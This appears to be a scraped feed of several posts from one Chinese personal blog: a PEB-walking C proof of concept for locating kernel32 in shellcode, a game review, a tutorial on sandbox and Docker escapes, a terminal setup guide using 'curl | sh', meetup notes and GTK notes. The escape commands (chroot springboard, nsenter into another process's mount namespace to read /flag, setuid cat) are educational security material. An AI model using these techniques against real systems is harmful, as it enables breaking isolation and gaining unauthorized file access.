在命令框中键入!peb可以看到 Ldr.InMemoryOrderModuleList下存储着被加载模块地基地址,其中第一个和第三个是我们的目标,其显示的基地址和之前使用lm命令查看到的地址是一致的。

值得一提的是,这些 Modules 正是以 List 链表形式存储的。我们简单地验证一下:

list

不难发现,在每个条目的开头存储着下一个条目的地址,而偏移 0x20 处存储着被加载模块的基地址。因此当我们表头的地址时,我们可以通过每个链表项跳转到下一个链表项、可以获取每个链表项下模块的基地址。

PoC

接下来就是编写 C 代码获取被加载模块虚拟地址的 demo 了。我们先提出尚未解决的几个问题:

  1. 如何获得 PEB 结构体在内存中的地址?
  2. Ldr 相对 PEB 的偏移量已知是 0x18,Ldr.InMemoryOrderModuleList 相对 Ldr 的偏移是多少?

先回答第二个问题:Ldr.InMemoryOrderModuleList 相对 Ldr 的偏移是 0x20 。并且在我们编写 C 代码的时候,不需要知道具体的偏移量,只需要知道字段名称即可,相应的库会帮我们处理好偏移量。

接着是第一个问题:Windows 用 FS/GS 寄存器来存储 PEB 的地址,分别对应32位/64位。具体如下:

  • 32位:fs:0x30
  • 64位:gs:0x60

:后代表偏移量。

解决了这两个问题之后就可以编写 C 代码了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winnt.h>
#include <winternl.h>

int main(void) {
// __readgsqword(0x60) equals to mov <register>, gs:[0x60]
PPEB pebPtr = (PPEB)__readgsqword(0x60);
PPEB_LDR_DATA ldrData = pebPtr->Ldr;
PLIST_ENTRY moduleList = &ldrData->InMemoryOrderModuleList;
// Get the first module in the list
PLDR_DATA_TABLE_ENTRY program_module = CONTAINING_RECORD(moduleList->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

// Skip 3 modules to get kernel32.dll
moduleList = moduleList->Flink;
moduleList = moduleList->Flink;
moduleList = moduleList->Flink;
// Get kernel32.dll
PLDR_DATA_TABLE_ENTRY kernel32_module = CONTAINING_RECORD(moduleList, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
PVOID program_base = program_module->DllBase;
PVOID kernel32_base = kernel32_module->DllBase;
printf("Program base: %p\n", program_base);
printf("Kernel32 base: %p\n", kernel32_base);

return 0;
}

简单地解释一下流程:

  1. 通过 gs 寄存器获取 PEB 地址
  2. 通过 PEB 结构体获取 Ldr
  3. 通过 Ldr 获取 InMemoryOrderModuleList
  4. Flink 一次将取出表头,在固定的偏移处可以取出程序基地址
  5. Flink 3次将取出第三项,在同样的偏移处可以取出 Kernel32.dll 的基地址

编译成可执行文件并运行:

1
2
gcc poc.c
./a.exe

得到输出:

1
2
Program base: 0000000000400000
Kernel32 base: 00007FFEBE4B0000

发现与在 Windbg 中得到的一致。

这证明:我们可以通过编写 C 代码获得被加载模块的基地址。更进一步地,我们的 C 代码经过编译后反汇编得到的汇编代码简单清晰,这意味着我们可以编写比较简单的汇编来实现这一目标。换言之,我们可以在 shellcode 中实现这一目标从而绕过 ASLR。

  • ✇BeaCox
  • 《山河旅探》(Murders on the Yangtze River) 通关简评BeaCox
    收到朋友的安利,趁着过年打折入手了《山河旅探》。其实我此前很少玩推理游戏,可能是因为以前玩剧本杀时我也鲜有准确的推理。一开始吸引我的,是《山河旅探》的水墨风以及据说精彩的剧情。事实证明,《山河旅探》不只有这些优点。画风《山河旅探》是一款横轴的推理探案游戏,故事发生在清末民初——正是中国封建主义社会受到到西方政治文化强烈冲击的年代。因此游戏画面即包含田野乡间、官府衙门,也包含汉阳铁厂、轮船、上海街头、会审公廨(中国近代史上外国租界内的司法审判机构,在这些机构内由租界国领事与中国官员共同审理案件)等场景,跨度非常大。比起某些国产动漫(比如《雾山五行》),《山河旅探》的水墨风不算震撼,但是场景的细节都做得不错。剧情游戏明暗线交织,6个发生在不同地点的案件串联起来的故事,在最后的结局中汇聚、迸发。虽然仅仅10小时左右的游戏时长,但是将许多人物都刻画得立体鲜明——自私的、为祖国事业奋斗的、迷信的、进步的、公正的、伪善的……游戏很好地将故事背景融入到了故事和人物当中,每个人物都是那个年代某一批人的群像。而从案情上来讲,作为一个推理游戏,作案、探案的逻辑经得起推敲,需要细细琢磨。不少案件中的作案手法
     

《山河旅探》(Murders on the Yangtze River) 通关简评

作者 BeaCox
2024年2月16日 20:32

收到朋友的安利,趁着过年打折入手了《山河旅探》。其实我此前很少玩推理游戏,可能是因为以前玩剧本杀时我也鲜有准确的推理。一开始吸引我的,是《山河旅探》的水墨风以及据说精彩的剧情。事实证明,《山河旅探》不只有这些优点。

画风

《山河旅探》是一款横轴的推理探案游戏,故事发生在清末民初——正是中国封建主义社会受到到西方政治文化强烈冲击的年代。因此游戏画面即包含田野乡间、官府衙门,也包含汉阳铁厂、轮船、上海街头、会审公廨(中国近代史上外国租界内的司法审判机构,在这些机构内由租界国领事与中国官员共同审理案件)等场景,跨度非常大。比起某些国产动漫(比如《雾山五行》),《山河旅探》的水墨风不算震撼,但是场景的细节都做得不错。

剧情

游戏明暗线交织,6个发生在不同地点的案件串联起来的故事,在最后的结局中汇聚、迸发。虽然仅仅10小时左右的游戏时长,但是将许多人物都刻画得立体鲜明——自私的、为祖国事业奋斗的、迷信的、进步的、公正的、伪善的……游戏很好地将故事背景融入到了故事和人物当中,每个人物都是那个年代某一批人的群像。而从案情上来讲,作为一个推理游戏,作案、探案的逻辑经得起推敲,需要细细琢磨。不少案件中的作案手法也是让我觉得脑洞大开。

玩法

一开始我已经准备好将这个游戏当作视觉小说去玩了,但是一上手我就知道不带脑子不行了。游戏的玩法比较丰富:作案工具指认、证物指认、证人指认、证言之间的矛盾指认、证言与证物之间的矛盾指认、尸体勘察、现场勘察等,还原了实际探案的大多数流程,十分有代入感。难度上,有个别场景的推理比较难,但大多数时间里我都能做出正确的推理。游戏中也有一些简单的小游戏用于调整节奏。由于之前没有玩过相同类型的推理游戏,因此玩法对于我来说足够新鲜也足够丰富。

配音/配乐

游戏中有不少外国人(英国人),英文配音的伦敦腔挺冲,有种在听小学英语听力的感觉,不过倒是符合人物设定。游戏中还有一段是外国人说着蹩脚中文,此时的字幕也是故意使用错别字,挺有趣。美中不足的是有些片段只有字幕没有配音。以及部分配音片段明显前后音色有差距,有些出戏。

游戏的配乐十分出彩,做到了根据剧情的变化无缝切换,能很好地让玩家沉浸到游戏中去。由于一个人在老家的大房子里玩,时常被剧情配合背景音乐吓得心慌。

其他

游戏中会通过收藏夹的方式介绍非常多的史实和知识,对于我这种一年读不了几本闲书的人来说非常有趣。同时这种方式也能让玩家更好地了解背景知识、更能够代入到每一个角色中去。

之前也听说这部作品从《逆转裁判》系列中借鉴了许多,不过我没有玩过《 逆转裁判》系列,因此不能做一个客观的评价。但这部作品在结尾致谢了许多参与制作的人员以及借鉴的游戏、小说等各种作品,借鉴的作品在首页能够点开的开发者寄语中也有:

那么至少游戏制作方是心怀感激、尊重知识产权的,这点就值得国内许多游戏厂商学习了。之后也会再品鉴《逆转裁判》系列,以便更好地评价该作。

  • ✇BeaCox
  • 沙箱与DockerBeaCox
    沙箱技术杂谈为什么沙箱技术被称为沙箱技术?在现实生活中,沙箱是一个装满沙子的小箱子,小孩儿们可以在沙箱里面发挥自己的想象力——建沙堡、画画等,而不会将沙子弄得满地都是。在计算机安全领域,沙箱技术的主要目标是隔离和保护程序,以防止它们对系统或其他应用程序造成不必要的损害或干扰。沙箱技术的历史早在上世纪60年代,就已经通过硬件实现了系统和进程代码的隔离。80年代,通过硬件方法隔离不同进程的内存空间。VAX/VMS操作系统引入了”访问控制列表”的概念,允许管理员对文件和资源进行更细粒度的权限控制。这是隔离和控制访问的重要步骤。90年代,互联网逐渐开始普及。产生了解释器和被解释的代码之间的隔离,以及Java虚拟机(JVM)等早期沙箱技术。2000年左右,是针对浏览器的网络攻击最盛之时。而2010年前后,现代沙箱技术崛起了,主要用于浏览器,让不被信任的代码、数据被放置于一个被隔离的进程中。当被隔离的进程(子进程)想要执行一些需要授权的操作时,需要向父进程(如Firefox)请求,得到允许后方可执行。沙箱逃逸chroot()chroot()系统调用最早于1979年出现在Unix系统,然后出现在BS
     

沙箱与Docker

作者 BeaCox
2023年9月16日 22:37

沙箱技术杂谈

为什么沙箱技术被称为沙箱技术?

在现实生活中,沙箱是一个装满沙子的小箱子,小孩儿们可以在沙箱里面发挥自己的想象力——建沙堡、画画等,而不会将沙子弄得满地都是。

在计算机安全领域,沙箱技术的主要目标是隔离和保护程序,以防止它们对系统或其他应用程序造成不必要的损害或干扰。

沙箱技术的历史

早在上世纪60年代,就已经通过硬件实现了系统和进程代码的隔离。

80年代,通过硬件方法隔离不同进程的内存空间。VAX/VMS操作系统引入了”访问控制列表”的概念,允许管理员对文件和资源进行更细粒度的权限控制。这是隔离和控制访问的重要步骤。

90年代,互联网逐渐开始普及。产生了解释器和被解释的代码之间的隔离,以及Java虚拟机(JVM)等早期沙箱技术。

2000年左右,是针对浏览器的网络攻击最盛之时。

而2010年前后,现代沙箱技术崛起了,主要用于浏览器,让不被信任的代码、数据被放置于一个被隔离的进程中。当被隔离的进程(子进程)想要执行一些需要授权的操作时,需要向父进程(如Firefox)请求,得到允许后方可执行。

沙箱逃逸

chroot()

chroot()系统调用最早于1979年出现在Unix系统,然后出现在BSD系统。这是一种传统沙盒。

chroot('/sandbox')的作用是让调用该函数的进程以及其子进程认为根目录/sandbox,在/sandbox中时,不能cd ../到真正的根目录,因此一定程度上限制了进程对/sandbox外资源的访问。

路径穿越

考虑在根目录运行如下C代码(不完整):

1
2
chroot("/sandbox");
execl("/busybox", "sh", 0); // Busybox在单一的可执行文件中提供了精简的Unix工具集,在这可以理解为运行了一个Linux系统

初看:busybox运行,它认为自己的根目录是/sandbox。但问题是,调用chroot()不会自动更改工作目录,因此busybox的工作目录还在根目录,可能可以借由这个工作目录访问沙箱外的资源。

资源未关闭

仅仅执行chroot(),并不会将先前打开的资源(如文件)关闭(留下文件句柄)。

Linux中有许多后缀为at的系统调用,可以根据目录(的句柄)和相对路径找到文件。以下是一些例子:

1
2
int openat(int dirfd, char *pathname, int flags);
int execveat(int dirfd, char *pathname, char **argv, char **envp, int flags);

如果先前有打开的目录未释放句柄,那么很容易利用句柄访问任意文件。

重复调用chroot()

调用了一次chroot()后,如果没有明确限制,可以再次调用chroot()。考虑以下情况:

位于根目录为/sandbox的沙箱中(已经执行chroot("/sandbox");)。

1
2
3
4
5
6
mkdir springboard# 在沙箱的根目录中创建目录
chroot springboard# 现在进程认为/sandbox/springboard是它的根目录
# 但是现在工作目录是/sandbox,我们实际上处于进程所认为的根目录外面,因此不受限制
# chdir ../../
# 现在工作目录就是/
# 我们已经到达了真正的根目录

seccomp

seccomp被称作系统调用的防火墙。可以禁用某些系统调用,或者基于参数来禁用。
docker、chrome、firefox等,都依赖于seccomp

seccomp的规则将会被children继承

1
2
3
4
5
6
scmp_filter_ctx ctx;//seccomp过滤规则的数据结构
ctx = seccomp_init(SCMP_ACT_ALLOW);//初始化seccomp, 允许所有系统调用
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0); //禁止 execve 系统调用
seccomp_load(ctx);//应用规则

execl("/bin/cat", "cat", "/flag", (char *)0);//这个函数会调用 execve,将被 kill

更多使用方法:

1
man seccomp_rule_add

宽松的过滤规则

Linux系统现在有300多种系统调用,且仍然在不断更新,十分复杂。沙箱应用开发者为了功能、性能或方便,可能会制定相对宽松的过滤规则。有些未被允许的系统调用就有可能被用于逃逸。

系统调用混淆

许多64位架构向后兼容了32位。在amd64等架构中,你可以在同一个进程中切换32/64位模式。

不过有趣的是,不同架构(甚至是同一个架构的32/64位)的系统调用号不一样。例如:

exit()在amd64中号码是60,在x86中是1。

在amd64操作系统中,seccomp默认配置的是amd64下允许/禁用的系统调用。如果允许两种模式下的系统调用,那么沙盒很可能顾此失彼。

考虑下面这种情况:

系统调用号amd64x86
3closeread()
4stat()write()
5fstat()open()

如果开发者在配置规则时,本意是允许close(), stat(), fstat()系统调用,但由于seccomp根据系统调用号进行过滤,当我们使用32位的指令进行系统调用时,我们竟然可以调用open, read, write——这意味着我们可以读取文件的内容并输出到其他文件或标准输出等。

内核漏洞

如果沙盒的seccomp被正确配置,攻击者很难发起有用的攻击。但是,用户仍然可以调用在白名单中的系统调用。如果内核中含有漏洞,通过系统调用,攻击者就可能利用这些内核漏洞。

听起来很玄乎,但其实内核与普通软件一样,都是代码,都或多或少存在漏洞,单是2019年一年,就有超过30个Chrome沙盒逃逸,其中大部分利用了内核漏洞。

namespace——现代解决方案

命名空间是 Linux 中可用的功能,用于隔离不同系统资源方面的进程。在Linux中有很多namespace,包括:

  • mnt(挂载点,文件系统)
  • pid(进程)
  • net(网络堆栈)
  • IPC(系统 V IPC)
  • uts(主机名)
  • 用户(UID)

等。使用挂载命名空间、pivot_root可以让用户只能访问原本文件树的一部分。

原有root挂载点未删除

一般会将旧的根目录挂载到沙箱内某个挂载点,然后使用pivot_root将根目录换成新的“根目录”,然后再将该挂载点和目录删除。如果忘记删除原有挂载点,则沙箱形同虚设。

共享文件系统

如果沙箱和宿主共用文件系统(沙箱对文件系统有写权限),那么沙箱用户就可以利用自己的root权限来在沙箱外提取。
例如,在沙箱内:

1
chmod 4755 /bin/cat

那么在沙箱外的任何用户就都可以以root身份运行cat,这意味着可以读取任何文件。

先前打开的资源未关闭

chroot()中讨论的一致。

setns()和/proc

setns():

1
int setns(int fd, int nstype);

fd参数是下列两者其中之一:

• 指向/proc/pid/ns/目录中的一个链接(或绑定挂载到此类链接)的文件描述符;

• 一个进程文件的句柄

nstype视情况而定。

setns()系统调用可以将当前进程的命名空间切换成其他进程的命名空间。

在bash中,可以:

1
2
PID=149
nsenter --mount=/proc/$PID/ns/mnt cat /flag

这样当前bash就会拥有和PID为149的进程一样的挂载命名空间。假如这个进程是沙箱外的,那么当前bash就有了沙箱外的挂载命名空间,意味着沙箱内用户可以访问完整的文件树。

也就是说,将原有的/proc挂载到沙箱中,且沙箱外有其他进程未关闭的情况下,是非常危险的!

Docker

Docker容器 vs 沙箱

Docker容器和沙箱有许多相似之处,例如:

  • 环境隔离

    两者都与宿主系统产生了一定的隔离,起到了限制和保护作用

  • 轻量

    相比于虚拟机,两者都称得上轻量

但两者是截然不同的技术:

  • 隔离级别:

    Docker容器提供了一种相对较高级别的隔离,包括文件系统隔离、进程隔离、网络隔离等。容器之间通常是相互隔离的,但它们仍然在同一个操作系统内核上运行。沙箱通常提供更加细粒度的隔离,通常是为了限制单个应用程序或代码的权限。沙箱环境可以是单进程的,不涉及多个容器或应用程序的协同工作。

  • 用途:

    Docker容器是用于构建、打包和运行应用程序的独立、可移植的环境。它们旨在在不同的环境中一致地运行应用程序,包括开发、测试和生产环境。Docker容器通常包括应用程序及其依赖项,并提供了隔离、版本控制和自动化部署的能力。沙箱是一种安全机制,用于隔离和限制运行在其中的代码或程序的能力。沙箱旨在提供一种受限制的执行环境,以防止应用程序或代码对系统或其他应用程序造成损害。它通常用于执行不受信任的代码或对应用程序进行测试,以减少潜在的风险。

  • 隔离技术:

    Docker容器使用容器化技术,如Docker引擎,通过Linux命名空间、控制组等技术提供隔离和资源管理。沙箱可以使用各种技术,包括操作系统级别的虚拟化、chroot、Seccomp、AppArmor等,具体取决于实现。

Docker安全

除了在沙箱技术中提到的namespace, seccomp等,Docker还使用capabilities, control groups等来Linux提供的功能来提升安全性。

  1. cgroups:
    • 资源隔离:Docker使用 cgroups 来隔离容器的资源使用,包括CPU、内存、磁盘I/O等。每个容器都可以分配一定的资源配额,以确保它们不会互相干扰或抢占主机上的资源。
    • 资源限制:cgroups 允许设置容器的资源限制,例如限制 CPU 使用率、内存使用量等。这有助于防止容器滥用主机上的资源,提高整个系统的稳定性。
    • 资源监控:通过 cgroups,你可以监视容器的资源使用情况,以便进行性能调整和资源规划。
  2. capabilities:
    • 最小权限原则:Docker 使用 Linux 的 capabilities 功能来确保容器中的进程以最小权限原则运行。capabilities 允许我们将权限分配给进程,而不需要完全的 root 权限。这样可以减小潜在的攻击面。
    • 降低特权:Docker 默认情况下会剥夺容器中的进程一些敏感的权限,如修改主机的网络配置或访问主机的设备。这有助于降低容器中运行的进程对主机的潜在威胁。

值得一提的是,如果主机 /proc 目录被挂载在 docker 容器中,而且容器的capabilities配置了 CAP_SYS_ADMIN (很高的权限,例如可以挂载文件系统),那么我们能够很轻松的从容器中逃逸。

  • ✇BeaCox
  • 终端自定义——StarShipBeaCox
    一个好看且好用的终端或许是生产力的保障。之前折腾终端的时候也试了很多方法,比如换成zsh、fish等,还有实适用于bash的OhMySH项目(不是zsh)……其实都挺不错的,但是有一个问题——速度比不加任何插件的bash慢一些。机缘巧合下,发现了StarShip项目,速度显然更快,因此撰写此文分享、记录。Ubuntu + bash用户可以完全参照此文。先贴出我的终端:shellStarShip介绍StarShip是一个Rust写的终端提示符工具,启动速度很快。官方的介绍如下:轻量、迅速、可无限定制的高颜值终端!快: 很快 —— 真的真的非常快! 🚀定制化: 可定制各种各样的提示符。通用: 适用于任何 Shell、任何操作系统。智能: 一目了然地显示相关信息。功能丰富: 支持所有你喜欢的工具。易用: 安装快速 —— 几分钟就可上手。因此我不用安装其他终端就可以用,而且实测几乎没有感受到拖慢bash启动速度。安装并启用字体使用StarShip的前置要求是:安装并在终端启用 Nerd Font 字体,如 Fira Code Nerd Font。这里就以Fira Code Nerd Font、
     

终端自定义——StarShip

作者 BeaCox
2023年7月29日 19:04

一个好看且好用的终端或许是生产力的保障。之前折腾终端的时候也试了很多方法,比如换成zsh、fish等,还有实适用于bash的OhMySH项目(不是zsh)……其实都挺不错的,但是有一个问题——速度比不加任何插件的bash慢一些。机缘巧合下,发现了StarShip项目,速度显然更快,因此撰写此文分享、记录。Ubuntu + bash用户可以完全参照此文。

先贴出我的终端:

shell

StarShip介绍

StarShip是一个Rust写的终端提示符工具,启动速度很快。官方的介绍如下:

轻量、迅速、可无限定制的高颜值终端!

  • 快: 很快 —— 真的真的非常快! 🚀
  • 定制化: 可定制各种各样的提示符。
  • 通用: 适用于任何 Shell、任何操作系统。
  • 智能: 一目了然地显示相关信息。
  • 功能丰富: 支持所有你喜欢的工具。
  • 易用: 安装快速 —— 几分钟就可上手。

因此我不用安装其他终端就可以用,而且实测几乎没有感受到拖慢bash启动速度。

安装并启用字体

使用StarShip的前置要求是:安装并在终端启用 Nerd Font 字体,如 Fira Code Nerd Font。

这里就以Fira Code Nerd Font、ubuntu22.04为例。

安装字体

下载并解压完成后,选择一种或者几种,双击后点击右上角的install/安装,即可安装字体。

启用字体

接下来需要在终端启用字体:

  1. 点击右上角的菜单(三根横线)
  2. 点击Preferences
  3. 点击Unnamed
  4. 勾选启用Custom font
  5. 点击旁边的选项卡,搜索Nerd,选择一个包含Nerd Font的字体

选择完成后,立即生效。

安装StarShip

以Linux为例:

1
curl -sS https://starship.rs/install.sh | sh

其他操作系统可参照官方文档

启用StarShip

以bash为例:

1
open ~/.bashrc

在末尾添加:

1
eval "$(starship init bash)"

在终端执行:

1
source ~/.bashrc

其他终端,如cmd、zsh等可以参照官方文档

提升颜值

StarShip可以自行定制样式,可以参照官方文档

对于绝大多数用户来说,可以使用社区提供的预设:社区配置分享

我使用的是Tokyo Night预设,但是做了稍许修改:

  1. 将Apple图标改成Linux
  2. 添加用户名的显示

如果想直接使用Tokyo Night预设,可以在终端执行以下命令:

1
starship preset tokyo-night -o ~/.config/starship.toml
  • 如果想在此基础上将Apple图标改成Linux:

    前往Nerd Fonts官网,搜索https://www.nerdfonts.com/cheat-sheet,复制icon。

    在终端执行:

    1
    open ~/.config/starship.toml

    将第三行的Apple图标替换为刚刚复制的Linux图标,保存并退出

  • 如果想在此基础上添加用户名的显示:

    在终端执行:

    1
    open ~/.config/starship.toml

    在第三行后新建一行:

    1
    $username\

    [directory]一行之前添加:

    1
    2
    3
    4
    5
    6
    [username]
    show_always = true
    style_user = "bg:#a3aed2 fg:#090c0c"
    style_root = "bg:#a3aed2 fg:#9A348E"
    format = '[$user ]($style)'

  • ✇BeaCox
  • 隐语开源Meetup一周年专场与会记录BeaCox
    隐语是由蚂蚁集团牵头成立的开源隐私计算框架,今天是隐语开源一周年的线下交流活动。说来惭愧,我从未给隐语贡献过一行代码。或者更具体点说,我在一周年Meetup举行前几天才从其他公众号了解到这个框架。但是本着了解前沿技术与框架、向国内大佬学习(离得还算近,何不白嫖蛋糕🎂和周边)的想法,我还是报名参加了此次交流会。什么是隐私计算?隐语究竟是做什么的?要回答这个问题首先要知道什么是隐私计算。隐私计算的核心特征是:可用不可见。也就是说,我要根据一些数据得到一些结果,按照传统方法,我需要知道这些数据具体的内容,但是利用隐私计算技术,我在不知道这些数据的具体内容的情况下,仍然可以得到结果。举个实际的使用场景来说:医疗保险公司想要获取投保者的过往病史、住院记录等信息,于是向医院索要这些信息,但是医院为了保护患者隐私、防止患者隐私被泄露,不愿意将这些数据全部交给医疗保险公司,这时候医疗保险公司手中投保者的数据和医院手中患者的数据就都形成了数据孤岛,这些数据的部分价值无法发挥。既要保障隐私、又要发挥这些数据的价值,就需要用到隐私计算技术,比如,医院将加密后的患者数据交给医疗保险公司,医疗保险公司对密态数据
     

隐语开源Meetup一周年专场与会记录

作者 BeaCox
2023年7月22日 19:30

隐语是由蚂蚁集团牵头成立的开源隐私计算框架,今天是隐语开源一周年的线下交流活动。说来惭愧,我从未给隐语贡献过一行代码。或者更具体点说,我在一周年Meetup举行前几天才从其他公众号了解到这个框架。但是本着了解前沿技术与框架、向国内大佬学习(离得还算近,何不白嫖蛋糕🎂和周边)的想法,我还是报名参加了此次交流会。

什么是隐私计算?

隐语究竟是做什么的?要回答这个问题首先要知道什么是隐私计算。隐私计算的核心特征是:可用不可见。也就是说,我要根据一些数据得到一些结果,按照传统方法,我需要知道这些数据具体的内容,但是利用隐私计算技术,我在不知道这些数据的具体内容的情况下,仍然可以得到结果。举个实际的使用场景来说:医疗保险公司想要获取投保者的过往病史、住院记录等信息,于是向医院索要这些信息,但是医院为了保护患者隐私、防止患者隐私被泄露,不愿意将这些数据全部交给医疗保险公司,这时候医疗保险公司手中投保者的数据和医院手中患者的数据就都形成了数据孤岛,这些数据的部分价值无法发挥。既要保障隐私、又要发挥这些数据的价值,就需要用到隐私计算技术,比如,医院将加密后的患者数据交给医疗保险公司,医疗保险公司对密态数据进行一系列计算(无法解密)后得到结果:患者A的健康风险高、患者B的健康风险低……但是并不知道患者A的过往病史、住院记录等信息。

隐语又是什么?

隐语是一个开源的隐私计算框架,核心聚焦于如何丰富产业应用场景,以及如何提升隐私计算能力两个方面。

1.面向使用者

隐语可以提供适配于不同场景的多种解决方案,在每种解决方案之中,都可以提供安全的全链路数据处理能力,也可以针对不同业务阶段提供如快速POC、大规模、高可用的能力。

2.面向开发者

针对应用系统的集成者,隐语可以提供原子化的集成能力。针对机器学习算法开发者,隐语提供接近传统机器学习算法开发的体验。针对安全协议开发者,可以提供插拨式的快速协议接入能力。

个人的理解是,隐语框架和社区的出现是为了建设一个隐私计算学习、开发与使用的良好生态,让隐私计算能够尽快在更多产业落地,让隐私计算技术能够快速发展。当然了,在隐私计算技术还不算成熟的时期开发一个高可用的框架,势必会让该框架占有一席之地,增加蚂蚁集团在隐私计算方面的影响力与话语权。

与会记录

会场

这次见面会安排在上海科学会堂。说起来倒是我在上海这么多年第一次去上海科学会堂(毕竟科学素养不够)

上海科学会堂建筑之一

像是民国时期的建筑,后来去搜索了下:

该建筑原为法国总会,始建于1904年。1957年改为科技工作者活动场所。1958年,上海市科学技术协会成立,这里成为其会址。

进会场要签到,当时在我前面的三、五人似乎是一个公司的,在我后面的看着像是研究生。好在是我看上去比实际老个几岁(在球场经常有人问我做什么工作的),倒也不显得怪异。签完到,发了本关于隐语的小册子,还给我在左臂贴了个写有“嘉宾”二字的贴纸,还挺正式的,后来才知道真正的大咖贴纸上写着“VIP”。

上到二楼,告诉我可以拍照留念,就拍了一张。没成想放在云相册,清晰度没我想象中高。旁边填写问卷还可以领取周边,本来走热了不想填,一听有雨伞,待会可能下雨我又没带伞,还是毛了吧🤣。问卷是关于隐语1.0体验版MVP部署包使用体验的,要填从事什么工作,一看,什么产品开发、什么算法、什么运维、什么策划,只能选其他填个学生了。填完问卷给了我一包贴纸和一把太阳伞,看着质量还不错。

拿着周边我就进会场了,后来才发现……错过了点心——A.K.A.我的终极目标

点心

众所周知啊,大佬一般来得比较晚。所以我是前几个到场的,倒也好,可以挑一挑位置。最终是坐在一个靠后靠边但能看清的位置。

会场内

大咖们

这次Meetup来了挺多大咖,比如上海科协学术部副部长、交大教授兼期智研究院首席科学家、浙大求是讲席教授、蚂蚁副总裁兼首席技术安全官、华为可信计算首席科学家……

蚂蚁的韦总,他进门的时候我就觉得他应该会坐在VIP席,但绝不是教授🤣,主打的就是成功人士气质。

韦总

用科技打造人文关怀

这次的见面会讲了很多议题,但许多理念我是一知半解甚至完全不理解的。不过有一个题目非常吸引我:

技术成果:IIFAA × 隐语:分布式认证助力视障人群线上观影

吴女士正在演讲

吴女士提到一个问题:

我国是视障人群最多的国家。以往,视障人群想要观看院线电影需要组织线下观影活动,许多人要千里迢迢前去观影,十分不便。而倘若为他们提供线上观影服务,则又涉及到版权问题:视力无障碍人群参与其中,一定程度上达到观看常规版本院线电影的观影效果。要想解决这个问题,线上观影服务提供方就必须获取用户是否有视力障碍的信息,信息提供方则应为中国盲人协会等组织。但为保护视障群体隐私,不应当将信息直接暴露给线上观影服务提供方。

这时候隐私计算技术就起到了关键的作用,IIFAA利用隐语框架中的零知识证明等实现了分布式认证的功能,能让用户自己保存能证明自己具有视力障碍的凭证。在用户信息不暴露给线上观影服务方的情况下,实现了身份认证,一定程度上解决了版权问题。

这个议题非常打动我,因为在我看来,科技的终极目标,是为了更好的社会、更好的世界。在隐私计算发展的早期,那些走在前沿的人就不忘人文关怀,这是这个时代的荣幸。隐语社区中不仅有走在学术前沿的人、走在商业前沿的人,也有走在人文关怀中的人,这是隐语社区成长的基石。

合影留念

1周年其实是有生日蛋糕吃的,不过在会场外的茶歇区。与会期间一直没出过会场,等结束的时候出去一看……蛋糕没影儿哩。

索性回到会场和大佬们拍了一张大合照。

大合照

生活的角落

在准备乘地铁回家的路上,在南昌路和思南路的交汇处看到这样一面墙,倒也有趣。

南昌路

结语

国内能够开发这样一个框架、建立这样一个社区,对国内隐私计算技术的发展是一件十足好事。事物的发展离不开培育它的土壤,这也是隐语社区抓住的最核心的理念。而国内许多行业其实都忽略了这样一个理念,大学教育更甚。若是未来能有更多这般的组织涌现、土壤的思想能够深入人心,想必中国科技的发展乃至中国的发展都会如你我所愿。

  • ✇BeaCox
  • GTK应用开发小记BeaCox
    夏季学期课程的小组作业,是要开发一个基于Linux内核模块的包过滤防火墙。主要有两部分的任务:配置程序运行在应用层,用来配置过滤规则,包括协议类型、IP地址、端口号、开始和结束时间、是否启用规则等。Linux内核模块运行在内核层,完成包过滤防火墙的功能,该模块借助注册Netfilter钩子函数的方式来实现对数据包的过滤和控制。我主要负责了第一部分的任务:开发一个友好的包过滤规则的配置和管理界面(GUI部分,CLI部分由组里另一位同学负责)。支持包过滤的规则导入、导出,添加、编辑、 删除、搜索等功能。应用界面如下:谈不上好看,但也不至于很丑。GTK vs QTGTK和QT是非常有名的两个GUI库,当然QT应该是更有名些。GTK和QT的优势对比如下:QT:跨平台性:QT是一个跨平台的工具包,可以在多个操作系统上运行,包括Windows、Linux、macOS等。它提供了一致的API,使得开发者可以轻松地编写一次代码,然后在不同的平台上进行部署和运行。高度集成:QT提供了丰富的组件和工具,涵盖了广泛的应用开发需求,包括图形渲染、网络通信、数据库访问等。它还提供了开发者友好的IDE和调试工具,
     

GTK应用开发小记

作者 BeaCox
2023年7月13日 16:51

夏季学期课程的小组作业,是要开发一个基于Linux内核模块的包过滤防火墙。主要有两部分的任务:

  1. 配置程序

    运行在应用层,用来配置过滤规则,包括协议类型、IP地址、端口号、开始和结束时间、是否启用规则等。

  2. Linux内核模块

    运行在内核层,完成包过滤防火墙的功能,该模块借助注册Netfilter钩子函数的方式来实现对数据包的过滤和控制。

我主要负责了第一部分的任务:开发一个友好的包过滤规则的配置和管理界面(GUI部分,CLI部分由组里另一位同学负责)。支持包过滤的规则导入、导出,添加、编辑、 删除、搜索等功能。应用界面如下:

日间模式
暗黑模式
编辑页面
关于页面+日志页面

谈不上好看,但也不至于很丑。

GTK vs QT

GTK和QT是非常有名的两个GUI库,当然QT应该是更有名些。GTK和QT的优势对比如下:

  • QT:
    1. 跨平台性:QT是一个跨平台的工具包,可以在多个操作系统上运行,包括Windows、Linux、macOS等。它提供了一致的API,使得开发者可以轻松地编写一次代码,然后在不同的平台上进行部署和运行。
    2. 高度集成:QT提供了丰富的组件和工具,涵盖了广泛的应用开发需求,包括图形渲染、网络通信、数据库访问等。它还提供了开发者友好的IDE和调试工具,使得开发过程更加高效。
    3. QML和Qt Quick:QT引入了QML和Qt Quick技术,允许开发者使用声明性语言和组件化的方式来设计和构建用户界面。这种方式简化了UI设计和开发的过程,并提供了良好的可扩展性。
    4. 商业支持:QT由The Qt Company开发和维护,提供了商业许可和支持服务。这对于企业级应用开发来说是一个优势,因为他们可以获得专业的技术支持和保障。
  • GTK:
    1. 开源性:GTK是一个开源工具包,它的代码可以被自由地查看、修改和分发。这对于开源社区和个人开发者来说是一个优势,他们可以根据自己的需求进行自定义和改进。
    2. UNIX哲学:GTK是基于UNIX哲学设计的,它鼓励模块化和简洁的设计。这种设计理念使得GTK在Linux等UNIX-like系统上有着很好的集成和兼容性。
    3. GNOME集成:GTK是GNOME桌面环境的默认工具包,它与GNOME的集成非常紧密。如果你计划开发适用于GNOME桌面环境的应用程序,使用GTK可能更加方便和自然。
